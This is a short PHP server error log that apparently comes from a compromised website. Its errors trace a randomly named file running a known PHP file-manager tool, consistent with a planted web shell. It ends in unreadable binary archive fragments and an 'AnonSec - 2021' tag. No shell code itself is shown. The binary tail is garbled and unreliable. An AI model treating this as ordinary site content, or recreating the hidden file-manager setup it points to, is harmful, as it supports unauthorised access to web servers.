[06-Mar-2026 19:40:13 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 195
[06-Mar-2026 23:42:28 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 195
[07-Mar-2026 13:00:39 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php:445
Stack trace:
#0 /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php(1241): fm_download()
#1 {main}
  thrown in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 445
[07-Mar-2026 13:00:41 UTC] PHP Warning:  Undefined variable $ext in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 2068
[07-Mar-2026 13:00:43 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php:445
Stack trace:
#0 /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php(1241): fm_download()
#1 {main}
  thrown in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 445
PK�Bg\���)r)ru1a79.php.php.tar.gznu�[���PK�Bg\�l����
mru1a79.php.tarnu�[���PK�Bg\�d����	�0u1a79.phpnu�[���PK�Bg\, �����error_log.tar.gznu�[���PK�Bg\�fuhh	��error_lognu�[���PK���

AnonSec - 2021